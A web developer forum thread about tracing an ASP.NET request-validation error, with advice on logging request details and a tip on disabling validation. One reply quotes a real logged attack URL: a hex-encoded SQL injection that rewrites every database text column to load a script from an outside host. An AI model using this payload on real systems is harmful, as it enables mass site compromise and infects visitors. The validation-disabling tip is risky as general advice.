How to Know what Caused an Error

  • Thread starter Thread starter Jonathan Wood
  • Start date Start date
J

Jonathan Wood

Greetings,

I have a Website that emails me any time an error occurs. I have debugging
on so that it can include page and line number information.

So I got a ton of the email below. Unfortunately, while I see it has
something to do with having "unsafe" characters in the query string, it
doesn't tell me on which page. Line 0 of App_Web_3uw3mai2.5.cs means
absolutely nothing to me. And it's too big a site to try and guess.

Is there no way to figure out what caused this error?

Thanks.

Jonathan

<<<<<<<<<<

The following error has occurred on the server:

"Application Error Handler"

User: <email> (ID: c8982fe1-0474-41b0-afea-a94f28ff5039)
Source: System.Web

System.Web.HttpRequestValidationException: A potentially dangerous
Request.QueryString value was detected from the client (msg="...led using
<pages enableEventVa...").
at System.Web.HttpRequest.ValidateString(String s, String valueName,
String collectionName)
at System.Web.HttpRequest.ValidateNameValueCollection(NameValueCollection
nvc, String collectionName)
at System.Web.HttpRequest.get_QueryString()
at System.Web.UI.Page.GetCollectionBasedOnMethod(Boolean dontReturnNull)
at System.Web.UI.Page.DeterminePostBackMode()
at System.Web.UI.Page.ProcessRequestMain(Boolean
includeStagesBeforeAsyncPoint, Boolean includeStagesAfterAsyncPoint)
at System.Web.UI.Page.ProcessRequest(Boolean
includeStagesBeforeAsyncPoint, Boolean includeStagesAfterAsyncPoint)
at System.Web.UI.Page.ProcessRequest()
at System.Web.UI.Page.ProcessRequestWithNoAssert(HttpContext context)
at System.Web.UI.Page.ProcessRequest(HttpContext context)
at ASP.errorreport_aspx.ProcessRequest(HttpContext context) in
c:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\Temporary ASP.NET
Files\root\f2d4905b\94fa3b3c\App_Web_3uw3mai2.5.cs:line 0
at
System.Web.HttpApplication.CallHandlerExecutionStep.System.Web.HttpApplication.IExecutionStep.Execute()
at System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean&
completedSynchronously)
 
You obviously should include all related information like

Request.RawUrl, Request.Post.ToString()...
into you report logging...

PS: That error happens usually when HTML tags are tried to be submitted
through the input box. By default ASP.NET prevents that.

You can set validateRequest="false" in web.config to disable validation.
<pages validateRequest="false">

George.
 
You obviously should include all related information like

Request.RawUrl, Request.Post.ToString()...
into you report logging...

I guess. Virtually all errors occur in my code so I can look at it. I guess
this is a rare exception.
PS: That error happens usually when HTML tags are tried to be submitted
through the input box. By default ASP.NET prevents that.

You can set validateRequest="false" in web.config to disable validation.
<pages validateRequest="false">

I'm not certain how comfortable I am with that, but that's good information
to know.

Thanks.

Jonathan
 
I didn't see a Request.Post property. Did you mean something else?

Thanks.

Jonathan
 
Yea, but usually you have tested the code. So it's not easy to guess were
problem is unless you can replicate the problem or simply ignore the error
message.
There are a lot of (spamming) robots that trying to submit the form with bad
information.
Or hacking attempts looking like this (taken from real site)
Path =
/article.aspx?rid=23374';DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777332E73733131716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777332E73733131716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S);

The rid is suppose to be Int32 but someone trying to do SQL injection

George.
 
Yeah, most of the users I'm dealing with are not technical, and my site's
available only to paying customers. So, as far as I know, I'm just dealing
with things like the user hitting the back button and so a page is loaded in
the incorrect context, or in this case putting invalid characters in an
input string.

But I'm updating my reporting routines as suggested.

Thanks.

BTW, the hacking attempt you posted shouldn't cause any problems as long as
the page uses parameterized arguments, right.

Jonathan
 
Back
Top